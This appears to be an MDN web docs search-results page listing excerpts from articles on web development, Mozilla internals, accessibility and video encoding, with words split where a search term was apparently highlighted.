road, and so forth. this is a temporal (time-based) aliasing issue; the speed of the rotation interferes with the frequency of the sampling performed during compression or encoding. color edging color edging is a type of visual artifact that presents as spurious colors introduced along the edges of colored objects within the scene. these colors have no intentional color relationsh
ip to the contents of the frame. loss of sharpness the act of removing data in the process of encoding video requires that some details be lost. if enough compression is applied, parts or potentially all of the image could lose sharpness, resulting in a slightly fuzzy or hazy appearance. lost sharpness can make text in the image difficult to read, as text--especially small text--is very detail-o...
...blobs of color that approximate the original appearance of the image. note the blockiness of the colors in the plumage of the bald eagle in the photo above (and the snowy owl in the background). the details of the feathers is largely lost due to these posterization artifacts. contouring contouring or color banding is a specific form of posterization in which the color blocks form bands or str
ipes in the image. this occurs when the video is encoded with too coarse a quantization configuration. as a result, the video's contents show a "layered" look, where instead of smooth gradients and transitions, the transitions from color to color are abrupt, causing str
ips of color to appear. in the example image above, note how the sky has bands of different shades of blue, instead of being a co...
... stationary, but if there is a great deal of motion in the frame, the number of differences between frames can be so great that compression doesn't do any good. motion compensation is a technique that looks for motion (either of the camera or of objects in the frame of view) and determines how many pixels the moving object has moved in each direction. then that shift is stored, along with a descr
iption of the pixels that have moved that can't be described just by that shift. in essence, the encoder finds the moving objects, then builds an internal frame of sorts that looks like the original but with all the objects translated to their new locations. in theory, this approximates the new frame's appearance. then, to finish the job, the remaining differences are found, then the set of object s...
...And 21 more matches
New Security Model for Web Services - Archive of obsolete content
securing resources from untrusted scr
ipts behind firewalls introduction this page describes an alternative mechanism which can be used to protect all internal resources against requests from sandboxed scr
ipts. this should especially be implemented for soap calls by untrusted scr
ipts. when an attempt is made to access a resource at a previously-unknown uri, the sandbox reads a file at that domain with declarations to determine whether access is permitted to the scr
ipt. if the file is not there, access is denied. the problem external untrusted scr
ipts loaded behind a firewall are executed in a sandbox. ...
...the sandbox must distinguish and protect internal resources. ...
...at would normally not be available to applications outside of the firewall. the sandbox must distinguish and protect internal resources. client-controlled solutions several client-controlled solutions have been designed to prevent sandboxed applications loaded behind a firewall from compromising other resources protected behind the firewall. same source restriction by restricting sandboxed scr
ipts to access only resources in the domain from which they were loaded, any scr
ipt loaded from one domain into another is prevented from accessing resources in the domain into which it has been loaded. this policy has generally been successful in sandboxing javascr
ipt and java applets across the web. if the sandbox is unable to distinguish the common uri substring of the domain to be trusted from ...
...And 20 more matches
Choosing the right approach - Learn web development
ous to finish this module off, we'll provide a brief discussion of the different coding techniques and features we've discussed throughout, looking at which one you should use when, with recommendations and reminders of common pitfalls where appropriate. we'll probably add to this resource as time goes on. prerequisites: basic computer literacy, a reasonable understanding of javascr
ipt fundamentals. objective: to be able to make a sound choice of when to use different asynchronous programming techniques. asynchronous callbacks generally found in old-style apis, involves a function being passed into another function as a parameter, which is then invoked when an asynchronous operation has been completed, so that the callback can in turn do something with the ...
...n old-style apis, involves a function being passed into another function as a parameter, which is then invoked when an asynchronous operation has been completed, so that the callback can in turn do something with the result. this is the precursor to promises; it's not as efficient or flexible. use only when necessary. useful for... ...
...ion being passed into another function as a parameter, which is then invoked when an asynchronous operation has been completed, so that the callback can in turn do something with the result. this is the precursor to promises; it's not as efficient or flexible. use only when necessary. useful for... ...
...And 20 more matches
Functions — reusable blocks of code - Learn web development
previous overview: building blocks next another essential concept in coding is functions, which allow you to store a piece of code that does a single task inside a defined block, and then call that code whenever you need it using a single short command -- rather than having to type out the same code mult
iple times. in this article we'll explore fundamental concepts behind functions such as basic syntax, how to invoke and define them, scope, and parameters. prerequisites: basic computer literacy, a basic understanding of html and css, javascr
ipt first steps. objective: to understand the fundamental concepts behind javascr
ipt functions. where do i find functions? in javascr
ipt, you'll find functions everywhere. in fact, we've been using functions all ...
...ts behind javascr
ipt functions. where do i find functions? ...
...g their syntax. pretty much anytime you make use of a javascr
ipt structure that features a pair of parentheses -- () -- and you're not using a common built-in language structure like a for loop, while or do...while loop, or if...else statement, you are making use of a function. built-in browser functions we've made use of functions built in to the browser a lot in this course. ...
...And 20 more matches
Working with Svelte stores - Learn web development
previous overview: client-side javascr
ipt frameworks next in the last article we completed the development of our app, finished organizing it into components, and discussed some advanced techniques for dealing with reactivity, working with dom nodes, and exposing component functionality. in this article we will show another way to handle state management in svelte -- stores. stores are global global data repositories that hold values. components can subscribe to stores and receive notifications when their values change. prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascr
ipt languages, and have knowledge of the terminal/command line. you'll need a terminal with node + npm installed to compile and buil...
...ate with each other using props, two-way data binding, and events. in all these cases we were dealing with communication between parent and child components. but not all application state belongs inside your application's component hierarchy. for example, information about the logged in user, or whether the dark theme is selected or not. sometimes, your app state will need to be accessed by mult
iple components that are not hierarchically related, or by a regular javascr
ipt module. moreover, when your app becomes complicated and your component hierarchy gets complex, it might become too difficult for components to relay data between each other. in that case, moving to a global data store might be a good option. if you've already worked with redux or vuex, then you'll be familiar with how t...
...t the writable() function from svelte/store and use it to create a new store called alert with an initial value of "welcome to the to-do list app!". we then export the store. creating the actual component let's now create our alert component and see how we can read values from the store. create another new file named src/components/alert.svelte. ...
...And 20 more matches
Dynamic behavior in Svelte: working with variables and props - Learn web development
previous overview: client-side javascr
ipt frameworks next now that we have our markup and styles ready we can start developing the required features for our svelte to-do list app. in this article we'll be using variables and props to make our app dynamic, allowing us to add and delete todos, mark them as complete, and filter them by status. prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascr
ipt languages, and have knowledge of the terminal/command line. you'll need a terminal with node + npm installed to compile and build your app. ...
...ites: at minimum, it is recommended that you are familiar with the core html, css, and javascr
ipt languages, and have knowledge of the terminal/command line. you'll need a terminal with node + npm installed to compile and build your app. objective: learn and put into practice some basic svelte concepts, like creating components, passing data using props, render javascr
ipt expressions into our markup, modify the components state and iterating over lists. code along with us git clone the github repo (if you haven't already done it) with: git clone https://github.com/opensas/mdn-svelte-tutorial.git then to get to the current app state, run cd mdn-svelte-tutorial/03-adding-dynamic-behavior or directly download the folder's content: npx degit opensas/mdn...
...os our todos.svelte component is currently just displaying static markup; let's start making it a bit more dynamic. we'll take the tasks information from the markup and store it in a todos array. we'll also create two variables to keep track of the total number of tasks and the completed tasks. the state of our component will be represented by these three top-level variables. ...
...And 20 more matches
Performance
all their overhead is thus not just incurred by active tabs but by the total number of tabs in a session. the following examples omit some boilerplate code for the sake of brevity the "better" examples also omit some best practices and only demonstrate how to fix the problem described in their respective subtopics. ...
...all their overhead is thus not just incurred by active tabs but by the total number of tabs in a session. the following examples omit some boilerplate code for the sake of brevity the "better" examples also omit some best practices and only demonstrate how to fix the problem described in their respective subtopics. ...
...red by active tabs but by the total number of tabs in a session. the following examples omit some boilerplate code for the sake of brevity the "better" examples also omit some best practices and only demonstrate how to fix the problem described in their respective subtopics. performance best practices declaring stateless functions once per process bad: // addon.js services.mm.loadframescr
ipt("framescr
ipt.js", true) // framescr
ipt.js const precomputedconstants = // ... function helper(window, action) { // ... do some work on the window } function dosomething(message) { result = helper(content, message.data) sendasyncmessage("my-addon:response-from-child", {something: result}) } addmessagelistener("my-addon:request-from-parent", dosomething) why is this bad? because d...
...And 20 more matches
NSS tools : signtool
name signtool -- digitally sign objects and files. synopsis signtool [-k keyname] -h -h -l -l -m -v -w -g nickname -s size -b basename [[-c compression level] ] [[-d cert-dir] ] [[-i installer scr
ipt] ] [[-m metafile] ] [[-x name] ] [[-f filename] ] [[-t|--token tokenname] ] [[-e extension] ] [[-o] ] [[-z] ] [[-x] ] [[--outfile] ] [[--verbose value] ] [[--norecurse] ] [[--leavearc] ] [[-j directory] ] [[-z jarfile] ] [[-o] ] [[-p password] ] [directory-tree] [archive] descr
iption the signing tool, signtool, creates digital signatures and uses a java archive (jar) file to associate the signatures with files in a directory. electronic software distribution over any network involves potential security problems. to help address some of these prob...
...eck whether the files have been tampered with since being signed if you have a signing certificate, you can use netscape signing tool to digitally sign files and package them as a jar file. an object-signing certificate is a special kind of certificate that allows you to associate your digital signature with one or more files. an individual file can potentially be signed with mult
iple digital signatures. for example, a commercial software developer might sign the files that constitute a software product to prove that the files are indeed from a particular company. a network administrator manager might sign the same files with an additional digital signature based on a company-generated certificate to indicate that the product is approved for use within the ...
...ise. the nt version of signtool always requires the use of the -d option to specify where the database files are located. -e extension tells signtool to sign only files with the given extension; for example, use -e".class" to sign only java class files. note that with netscape signing tool version 1.1 and later this option can appear mult
iple times on one command line, making it possible to specify mult
iple file types or classes to include. -f commandfile specifies a text file containing netscape signing tool options and arguments in keyword=value format. all options and arguments can be expressed through this file. for more information about the syntax used with this file,...
...And 20 more matches
nsIDocShell
docshell/base/nsidocshell.idlscr
iptable ??? need a descr
iption here ??? ...
...re ??? inherits from: nsisupports last changed in gecko 12.0 (firefox 12.0 / thunderbird 12.0 / seamonkey 2.9) implemented by @mozilla.org/docshell;1. do not create an instance directly. instead, retrieve an nsidocshell from a browser or other document container element. ...
... 12.0 (firefox 12.0 / thunderbird 12.0 / seamonkey 2.9) implemented by @mozilla.org/docshell;1. do not create an instance directly. instead, retrieve an nsidocshell from a browser or other document container element. note that out-of-process browsers do not have an nsidocshell; instead you can access the nsidocshell object from a frame scr
ipt. ...
...And 20 more matches
Mozilla
lds (--enable-debug) and non-optimized builds (--disable-optimize) are much slower. any performance metrics gathered by such builds are largely unrelated to what would be found in a release browser. browser chrome tests the browser chrome test suite is an automated testing framework designed to allow testing of application chrome windows using javascr
ipt. it currently allows you to run javascr
ipt code in the same scope as the main firefox browser window and report results using the same functions as the mochitest test framework. as all tests, they won't work in a build with tests disabled (--disable-tests). browser security an important aspect of developing code for any browser, includin...
...ions are used to specify various startup options for mozilla applications.this page describes the commonly used options and how to use them. you can open the command line interface by pressing shift + f2. continuous integration when you push a commit to mozilla-central or a related repository, it initiates a large chain of builds and tests across mult
iple types of infrastructure. this document will help you understand all the pieces that comprise mozilla's continuous integration systems. cookies in mozilla suggestions as to needed documentation can be directed to mike connor. cookies preferences in mozilla these preferences apply to most mozilla products (including ...
...s. creating a language pack to create a language pack, or a localization repack, you first need to go through the initial setup process. creating a localized windows installer of seamonkey preamble: not all of the programs listed below are necessary. some of them are simply the ones i use because i like them, while others are scr
ipts that i've created to speed up the work. you can in every case choose the program you prefer to do some operations, and you can also decide not to use any of my scr
ipts and manually enter all of the commands by hand. it's your choice! creating a login manager storage module the login manager manages and stores user passwords. extensions ...
...And 20 more matches
Introduction to the DOM - Web APIs
ms can change the document structure, style, and content. the dom represents the document as nodes and objects. that way, programming languages can connect to the page. a web page is a document. this document can be either displayed in the browser window or as the html source. but it is the same document in both cases. the document object model (dom) represents that same document so it can be man
ipulated. the dom is an object-oriented representation of the web page, which can be modified with a scr
ipting language such as javascr
ipt. the w3c dom and whatwg dom standards are implemented in most modern browsers. many browsers extend the standard, so care must be exercised when using them on the web where documents may be accessed by various browsers with different doms. for example, the stan...
...ms. for example, the standard dom specifies that the getelementsbytagname method in the code below must return a list of all the <p> elements in the document: const paragraphs = document.getelementsbytagname("p"); // paragraphs[0] is the first <p> element // paragraphs[1] is the second <p> element, etc. alert(paragraphs[0].nodename); all of the properties, methods, and events available for man
ipulating and creating web pages are organized into objects (for example, the document object that represents the document itself, the table object that implements the special htmltableelement dom interface for accessing html tables, and so forth). this documentation provides an object-by-object reference to the dom. the modern dom is built using mult
iple apis that work together. the core dom defin...
...y-object reference to the dom. the modern dom is built using mult
iple apis that work together. the core dom defines the objects that fundamentally describe a document and the objects within it. this is expanded upon as needed by other apis that add new features and capabilities to the dom. for example, the html dom api adds support for representing html documents to the core dom. dom and javascr
ipt the short example above, like nearly all of the examples in this reference, is javascr
ipt. that is to say, it's written in javascr
ipt, but it uses the dom to access the document and its elements. the dom is not a programming language, but without it, the javascr
ipt language wouldn't have any model or notion of web pages, html documents, xml documents, and their component parts (e.g. elements). ...
...And 20 more matches
Inputs and input sources - Web APIs
ories: targeting and actions. targeting is the specification of a point in space by the user's input. this may involve the user simply tapping on a spot on the screen, tracking their eyes, or the use of a joystick or motion-sensing controller to move a cursor. actions include both selection actions, such as clicking on a button, and squeeze actions, such as pulling a trigger or tightening your gr
ip while wearing haptic gloves. by combining these two types of input with the changing of viewing position and/or orientation through the headset or other mechanisms, you can create an interactive simulated environment. input device types webxr supports a variety of different types of devices to handle targeting and action inputs. these devices include but aren't limited to: screen taps (part...
...n be used to simultaneously perform both targeting and selection. motion-sensing controllers, which use accelerometers, magnetometers, and other sensors for motion tracking and targeting and may additionally include any number of buttons, joysticks, thumbpads, touchpads, force sensors, and so on to provide additional input sources for both targeting and selection. squeezable triggers or glove gr
ip pads to provide squeeze actions. voice commands using speech recognition. spatially-tracked articulated hands, such as haptic gloves can provide both targeting and squeeze actions, as well as selection if outfitted with buttons or other sources of selection actions. single-button click devices. gaze tracking (following the movements of the eye to choose targets). input sources each source ...
...e webxr context by engaging with the screen in some way--most likely by the viewer tapping the screen or dragging the target ray around with their fingers. target ray space the xrspace used to describe the position and orientation of the target ray is found in the targetrayspace property. this space's native origin is located at the point from which the target ray is emitted (such as the front t
ip of the controller, or the end of a gun barrel if the controller is being rendered as a gun, for example), and the space's orientation vector extends outward along the path of the target ray. you can easily obtain the target ray corresponding to the targetrayspace from within the drawing handler for a given frame using xrframe's getpose() method. the returned xrpose's transform is the transform c...
...And 20 more matches
Authoring MathML - MathML
iwyg editors and other content management systems to help writing web pages. mathematical notations are even more complex with structures like fractions, square roots or matrices that are likely to require their own tags. as a consequence, good mathml authoring tools are more important and we describe some tools below. in particular, the mozilla mathml team has been developing texzilla, a javascr
ipt unicode latex-to-mathml converter that is intended to be used in many scenarios described here. of course, the list is by no means exhaustive and you are invited to check out the w3c mathml software list where you can find various other tools. note that by design, mathml is well-integrated in html5 and in particular you can use usual web features like css, dom, javascr
ipt or svg. this is out of...
...t mathml support unfortunately, some browsers are not able to render mathml equations or only have a limited support. hence you will need to use a mathml polyfill to provide some fallback rendering. if you need only basic mathematical constructions such as those used on this mdn wiki then a small mathml.css stylesheet might be enough. ...
...ender mathml equations or only have a limited support. hence you will need to use a mathml polyfill to provide some fallback rendering. if you need only basic mathematical constructions such as those used on this mdn wiki then a small mathml.css stylesheet might be enough. ...
...And 20 more matches
Introduction to XUL - Archive of obsolete content
warning: the content of this article may be out of date. preamble mozilla has configurable, downloadable chrome, meaning that the arrangement and even presence or absence of controls in the main window is not hardwired into the application, but loaded from a separate ui descr
iption. in fact, most of mozilla's windows (and dialogs) will be described using this mechanism. xul (pronounced "zool," as if that spelling helped any, and short for "xml user interface language") is our name for the language in which these ui descr
iptions are built. window chrome is displayed and managed by the same layout engine that manages html content in the browser. ui descr
iptions, then, look a great deal like html 4. xul is an application of xml. in fact, it is just xml with specific meaning de...
...ss-platform application framework. that's been done, and is a great deal of work. we intend to provide a subset of cross-platform functionality suitable for building network applications like browsers, leveraging the cross-platform functionality already built into gecko, mozilla's html layout engine. the term "cross-platform ui" is somewhat misleading. ui designers will be able to create ui descr
iptions which will work on mult
iple platforms. but proper ui descr
iptions which take into account various platforms' differing ideas about proper placement of such things as dialog buttons will require some platform-specific work. a single xul specification can only cross-platform to a degree. ui designers and build engineers will need to maintain separate, platform-specific versions of at least som...
...small" components like dialog buttons and mail inbox folders, which we collectively term "widgets." within a widget, drawing and user interactions are completely under control of the individual widget, and set when the widget was built. relative placement of widgets, their interactions with each other, and optionally some of their configuration, will be controlled by a ui layout specified in a scr
ipt whose structure is defined in this and related documents. widgets are pieces of the application largely self-contained, generally corresponding to a rectangle of window real estate. widgets will generally live grouped in separate, dynamically loaded libraries. a widget may expect to own a piece of a window (a toolbar or toolbar set), or it may be expected to work within or without a window (men...
...And 19 more matches
RDF Modifications - Archive of obsolete content
no extra code needs to be written to do this; it happens automatically. this involves a third type of observer involved in a template builder, an nsirdfobserver, used to listen for modifications to the rdf datasource. naturally, this only applies to rdf queries. ...
...s not occur for xml and sqlite sources, only for rdf datasources. however, as it is possible to use and/or implement other query types with templates, these additional types may support automatic updating. there are two main situations when the notifications are made. the first is when the modification functions on the datasource are called. there are four such functions: 'assert', to add a new tr
iple (or arrow) to the rdf graph, 'unassert' to remove a tr
iple, 'change' to adjust the target of a tr
iple, and 'move' to adjust the source of a 'tr
iple'. for mozilla's datasources, the latter two just unassert the old tr
iple and add a new one, creating the effect of changing the value. however, only one notification is made. for instance, an assert call looks like the following: var source = rdf.g...
...when this happens, any templates observing the datasource will be notified via the rdf observer's onassert method. ...
...And 19 more matches
Accessible multimedia - Learn web development
previous overview: accessibility next another category of content that can create accessibility problems is multimedia -- video, audio, and image content need to be given proper textual alternatives so they can be understood by assistive technologies and their users. this article shows how. prerequisites: basic computer literacy, a basic understanding of html, css, and javascr
ipt, an understanding of what accessibility is. objective: to understand the accessibility issues behind multimedia, and how to overcome them. multimedia and accessibility so far in this module we have looked at a variety of content and what needs to be done to ensure its accessibility, ranging from simple text content to data tables, images, native controls such as form elements...
...sible audio and video controls implementing controls for web-based audio/video shouldn't be a problem, right? let's investigate. the problem with native html5 controls html5 video and audio instances even come with a set of inbuilt controls that allow you to control the media straight out of the box. for example (see native-controls.html source code and live): <audio controls> <source src="v
iper.mp3" type="audio/mp3"> <source src="v
iper.ogg" type="audio/ogg"> <p>your browser doesn't support html5 audio. here is a <a href="v
iper.mp3">link to the audio</a> instead.</p> </audio> <br> <video controls> <source src="rabbit320.mp4" type="video/mp4"> <source src="rabbit320.webm" type="video/webm"> <p>your browser doesn't support html5 video. here is a <a href="rabbit320.mp4">link t...
....webm" type="video/webm"> <p>your browser doesn't support html5 video. ...
...And 19 more matches
Floats - Learn web development
with the advent of flexbox and grid it has now returned to its original purpose, as this article explains. prerequisites: html basics (study introduction to html), and an idea of how css works (study introduction to css.) objective: to learn how to create floated features on webpages, and to use the clear property and other methods of clearing floats. ...
...an image floating inside a column of text, with the text wrapping around the left or right of it. the kind of thing you might get in a newspaper layout. but web developers quickly realized that you can float anything, not just images, so the use of float broadened, for example to fun layout effects such as drop-caps. floats have commonly been used to create entire web site layouts featuring mult
iple columns of information floated so they sit alongside one another (the default behavior would be for the columns to sit below one another, in the same order as they appear in the source). there are newer, better layout techniques available and so use of floats in this way should be regarded as a legacy technique. in this article we'll just concentrate on the proper uses of floats. a simple flo...
... it with a simple html template, and inserting the below code into it at the appropriate places. at the bottom of the section, you can see a live example of what the final code should look like. first, we'll start off with some simple html -- add the following to your html body, removing anything that was inside there before: <h1>simple float example</h1> <div class="box">float</div> <p>lorem
ipsum dolor sit amet, consectetur ad
ipiscing elit. nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. duis felis orci, pulvinar id metus ut, rutrum luctus orci. cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. </p> <p>sed auctor cursus massa at porta. integer ligula
ipsum, tristique sit amet orci vel, viverra egestas ligula. curabitur vehicula tellus neque, ac orna...
...And 19 more matches
Deployment and next steps - Learn web development
you'll need a terminal with node + npm installed to compile and build your app. ...
... you'll need a terminal with node + npm installed to compile and build your app. ...
... svelte's typescr
ipt support, and how to use it to make your application more robust. in this final article we will look at how to deploy your application and get it online, and also share some of the resources that you should go on to, to continue your svelte learning journey. prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascr
ipt languages, and have knowledge of the terminal/command line. you'll need a terminal with node + npm installed to compile and build your app. objective: learn how to prepare our svelte app for production, and what learning resources you should visit next. note that our application is fully functional and porting it to typescr
ipt is completely optional. there are differe...
...And 19 more matches
Introduction to automated testing - Learn web development
day, can get tedious, and time-consuming. to handle this efficiently, you should become familiar with automation tools. in this article, we look at what is available, how to use task runners, and how to use the basics of commercial browser test automation apps such as lambdatest, sauce labs, browserstack, and testingbot. prerequisites: familiarity with the core html, css, and javascr
ipt languages; an idea of the high level princ
iples of cross-browser testing. objective: to provide an understanding of what automated testing entails, how it can make your life easier, and how to make use of some of the commercial products that make things easier. automation makes things easy throughout this module we have detailed loads of different ways in which you can test y...
...ility considerations, and more. sounds like a lot of work, doesn't it? we agree -- testing all the things we've looked at in previous articles manually can be a real pain. fortunately, there are tools to help us automate some of this pain away. there are two main ways in which we can automate the tests we've been talking about in this module: use a task runner such as grunt or gulp, or npm scr
ipts to run tests and clean up code during your build process. this is a great way to perform tasks like linting and minifying code, adding in css prefixes or transpiling nascent javascr
ipt features for maximum cross-browser reach, and so on. use a browser automation system like selenium to run specific tests on installed browsers and return results, alerting you to failures in browsers as they cro...
...e days are based on node.js, so you'll need to install it from nodejs.org: download the installer for your system from the above site. (if you already have node and npm installed, jump to point 4) install it like you would any other program. note that node comes with node package manager (npm), which allows you to easily install packages, share your own packages with others, and run useful scr
ipts on your projects. once the install completes, test that node is installed by typing the following into the terminal, which returns the installed versions of node and npm: node -v npm -v if you've got node/npm already installed, you should update them to their latest versions. to update node, the most reliable way is to download and install an updated installer package from their website (...
...And 19 more matches
Package management basics - Learn web development
previous overview: understanding client-side tools next in this article we'll look at package managers in some detail to understand how we can use them in our own projects -- to install project tool dependencies, keep them up-to-date, and more. prerequisites: familiarity with the core html, css, and javascr
ipt languages. objective: to understand what package managers and package repositories are, why they are needed, and the basics of how to use them. a dependency in your project a dependency is a third-party bit of software that was probably written by someone else and ideally solves a single problem for you. a web project can have any number of dependencies, ranging from none to many, and your dependencies might include sub-dependencies that you d...
...adable text. you could certainly code this yourself, but there's a strong chance that someone else has already solved this problem -- why waste time reinventing the wheel? moreover, a reliable third-party dependency will likely have been tested in a lot of different situations, making it more robust and cross-browser compatible than your own solution. ...
...tible than your own solution. a project dependency can be an entire javascr
ipt library or framework -- such as react or vue -- or a very small utility like our human-readable date library, or it can be a command line tool such as prettier or eslint, which we talked about in previous articles. without modern build tools, dependencies like this might be included in your project using a simple <scr
ipt> element, but this might not work right out of the box and you will likely need some modern tooling to bundle your code and dependencies together when they are released on the web. ...
...And 19 more matches
Profiling with the Firefox Profiler
irefox profilers. reporting a performance problem has a step-by-step guide for obtaining a profile when requested by firefox developers. interface 1. timeline the timeline has several rows of tracing markers (colored segments) which indicate interesting events. hover over them to see more information. below the tracing markers are rows corresponding with activity on a variety of threads. ...
...g markers (colored segments) which indicate interesting events. hover over them to see more information. below the tracing markers are rows corresponding with activity on a variety of threads. t
ip: threads that are annotated with "[default]" are in the parent (aka "ui", aka "browser chrome", aka "main") process and those annotated with "[tab]" are in the web content (aka "child") processes. t
ip: long-running tasks in the parent process will block all input or drawing with the browser ui (aka "ui jank") whereas long-running tasks in the content process will block interactivity with the page but still allowing the user to pan and zoom around thanks to apz. tracing markers red: these indicate that the event loop is being unresponsive. note that high priority events such as vsync are n...
...ll allowing the user to pan and zoom around thanks to apz. tracing markers red: these indicate that the event loop is being unresponsive. note that high priority events such as vsync are not included here. also note that this indicates what would have happened had there been an event waiting and not necessarily that there was an event pending for that long. black: these indicate synchronous
ipc calls. ranges ranges of time can be zoomed in on by clicking and dragging anywhere in the tracing marker or thread areas. once a range is selected, a magnifying glass appears which zooms into that range. clicking on a tracing marker will create a selection corresponding with its duration allowing for easy zooming in on interesting time ranges. as you zoom in on ranges, breadcrumbs are creat...
...And 19 more matches
SpiderMonkey Internals
this document is talking about partially obsolete things. design walk-through at heart, spidermonkey is a fast interpreter that runs an untyped bytecode and operates on values of type js::value--type-tagged values that represent the full range of javascr
ipt values. in addition to the interpreter, spidermonkey contains a just-in-time (jit) compiler, a garbage collector, code implementing the basic behavior of javascr
ipt values, a standard library implementing ecma 262-5.1 ?15 with various extensions, and a few public apis. interpreter like many portable interpreters, spidermonkey's interpreter is mainly a single, tremendously long function that steps through the bytecode one instruction at a time, using a switch statement (or faster alternative, depending on the compiler) to jump to th...
...tensions, and a few public apis. interpreter like many portable interpreters, spidermonkey's interpreter is mainly a single, tremendously long function that steps through the bytecode one instruction at a time, using a switch statement (or faster alternative, depending on the compiler) to jump to the appropriate chunk of code for the current instruction. a js-to-js function call pushes a javascr
ipt stack frame without growing the c stack. but since js-to-c-to-js call stacks are common, the interpreter is reentrant. some spidermonkey bytecode operations have many special cases, depending on the type of their arguments. common cases are inlined in the interpreter loop, breaking any abstractions that stand in the way. so optimizations such as dense arrays and the property cache are, alas, no...
...est-star in jsinterp.cpp (to thunderous applause from firefox users). all state associated with an interpreter instance is passed through formal parameters to the interpreter entry point; most implicit state is collected in a type named jscontext. therefore, almost all functions in spidermonkey, api or not, take a jscontext pointer as their first argument. compiler the compiler consumes javascr
ipt source code and produces a scr
ipt which contains bytecode, source annotations, and a pool of string, number, and identifier literals. the scr
ipt also contains objects, including any functions defined in the source code, each of which has its own, nested scr
ipt. the compiler consists of: a random-logic rather than table-driven lexical scanner, a recursive-descent parser that produces an ast, and...
...And 19 more matches
Starting WebLock
and disable the web locking functionality, see what sites are in the whitelist, and add or remove sites from that list. weblock needs to provide an api, and it needs to hook into gecko in order to implement the actual locking functionality. the weblock user interface the weblock component in this tutorial uses xul to define the additional browser ui in a cross-platform way, and xul uses javascr
ipt to access and control xpcom components, but gecko's pluggable ui allows any user interface to call into gecko and the components you create as easily as you can from xul. see xul for a discussion of how xul interacts with javascr
ipt and xpcom. creating the weblock programming interface design is one of the hardest parts of any programming problem. the question the interface for the weblock co...
...s in xpcom effective contracts between services and clients. the next section shows the interface of the weblock component, iweblock, in xpidl. ...
...ponent from javascr
ipt, and even broken linkjavadoc style html documentation. defining the weblock interface in xpidl most interfaces in the xpcom world are described in xpidl. the xpidl file for the iweblock interface can be used to generate the c++ header file, which you'll need to implement the interface in the component and also a type library that makes the component accessible from javascr
ipt or other interpreted languages. in mozilla, javascr
ipt is the bridge between components and the xul-based user interface. the xpidl syntax the xpidl syntax is a mix of c++ and java, and of course it's very much like the omg idl upon which it is closely based. ...
...And 19 more matches
Using XPCOM Components
user accesses the cookie manager dialog to view, organize, or remove cookies that have been stored on the system, they are using the cookiemanager component behind the scenes. the cookie manager dialog shows user interface[cookie-manager-ui] that is presented to the user in mozilla for working with the cookiemanager component. the cookie manager dialog this dialog is written in xul and javascr
ipt, and uses a part of xpcom called xpconnect to seamlessly connect to the cookiemanager component (see connecting to components from the interface below). xul is just one way to expose the functionality of the cookiemanager component-but it's a particularly useful one in the mozilla world. the functionality of the cookiemanager component is available through the nsicookiemanager interface, which ...
... are public, in other words, and the implementations are private[private-xpcom-interfaces]. when a user selects one of the cookies displayed in the list and then clicks the remove button, the remove method in the nsicookiemanager interface is called. the function is carried out by the cookiemanager component, and the selected cookie is deleted from disk and removed from the displayed list. ...
...e private[private-xpcom-interfaces]. when a user selects one of the cookies displayed in the list and then clicks the remove button, the remove method in the nsicookiemanager interface is called. the function is carried out by the cookiemanager component, and the selected cookie is deleted from disk and removed from the displayed list. ...
...And 19 more matches
Xray vision
because this code is being loaded from arbitrary web pages, it is regarded as untrusted and potentially hostile, both to other websites and to the user. ...
...because this code is being loaded from arbitrary web pages, it is regarded as untrusted and potentially hostile, both to other websites and to the user. ...
...because this code is being loaded from arbitrary web pages, it is regarded as untrusted and potentially hostile, both to other websites and to the user. ...
...And 19 more matches
window.location - Web APIs
} // in html: <button onclick="senddata('some data');">send data</button> the current url with "?some%20data" appended is sent to the server (if no action is taken by the server, the current document is reloaded with the modified search string). ...
...nullam ultrices dolor ac dolor imperdiet ullamcorper. suspendisse quam libero, luctus auctor mollis sed, malesuada condimentum magna. quisque in ante tellus, in placerat est. ...
...nullam ultrices dolor ac dolor imperdiet ullamcorper. ...
...And 19 more matches
ARIA annotations - Accessibility
omment related to a part of a document under review). below we'll introduce the new features associated with aria annotations, and have a look at some code examples that show them in action. note: you can find all the examples discussed in this article in a demo file at aria-annotations. aria annotations features the aria attributes providing these new abilities are as follows: aria-descr
iption="" -- provides a detailed descr
iption of an html element, as opposed to the brief label provided by aria-label. role="insertion" and role="deletion" -- semantically denote html elements whose contents represent an insertion to or deletion from the overall document. these are semantically equivalent to the html <ins> and <del> elements. note that these aren't part of the new aria annotations ...
..."deletion" above). role="comment" -- semantically denotes a comment/reaction to some content on the page, or to a previous comment. to provide a semantic association between the document content being annotated and the annotation, an aria-details attribute can be set on the annotated content that contains the id of the annotated element. aria-details has been updated so that it can support mult
iple ids -- this makes sense, for example you can easily envisage having mult
iple comments relating to the same bit of text. aria annotation roles and objects are currently exposed in: firefox from version 75 onwards, on windows and linux (on macos, we are first waiting for apple to define what safari will expose as apple-dialect attributes to voiceover, and will then follow suit.) chrome from ...
...any of these yet, as screenreader support is currently not there. for the moment, you can see the annotations data being exposed with tools like firefox accessibility inspector. the annotations should just work once screenreader support is added. associating annotated elements with their details there are a number of different ways in which you can associate ui features with text labels or descr
iptions for accessibility purposes. it is useful to know when to use each. you'll see examples of most of these later on in the article, but briefly: aria-label="" can be set on an element to provide a brief descr
iptive label when it isn't appropriate to have the label actually appearing in the ui, for example a search input in a horizontal nav bar. aria-labelledby="" can be set on an element an...
...And 19 more matches
Accessibility documentation index - Accessibility
-as in "a" then 11 characters then "y") in web development means enabling as many people as possible to use web sites, even when those people's abilities are limited in some way. 2 aria aria, accessibility, html accessible rich internet applications (aria) is a set of attributes that define ways to make web content and web applications (especially those developed with javascr
ipt) more accessible to people with disabilities. it supplements html so that interactions and widgets commonly used in applications can be passed to assistive technologies 3 aria screen reader implementors guide aria, accessibility this is just a guide. live region markup is a complex area which is somewhat open to interpretation. the following is intended to provide implementa...
...d to a part of a document under review). 6 aria guides aria accessible rich internet applications (aria) defines ways to make the web more accessible to people with disabilities. a few guidelines to follow that ensure better accessibility, like using drag and drop for placement of the widgets. 7 aria live regions aria, accessibility, arialive using javascr
ipt, it is possible to dynamically change parts of a page without requiring the entire page to reload -- for instance, to update a list of search results on the fly, or to display a discreet alert or notification which does not require user interaction. while these changes are usually visually apparent to users who can see the page, they may not be obvious to users of assistive technologies. aria li...
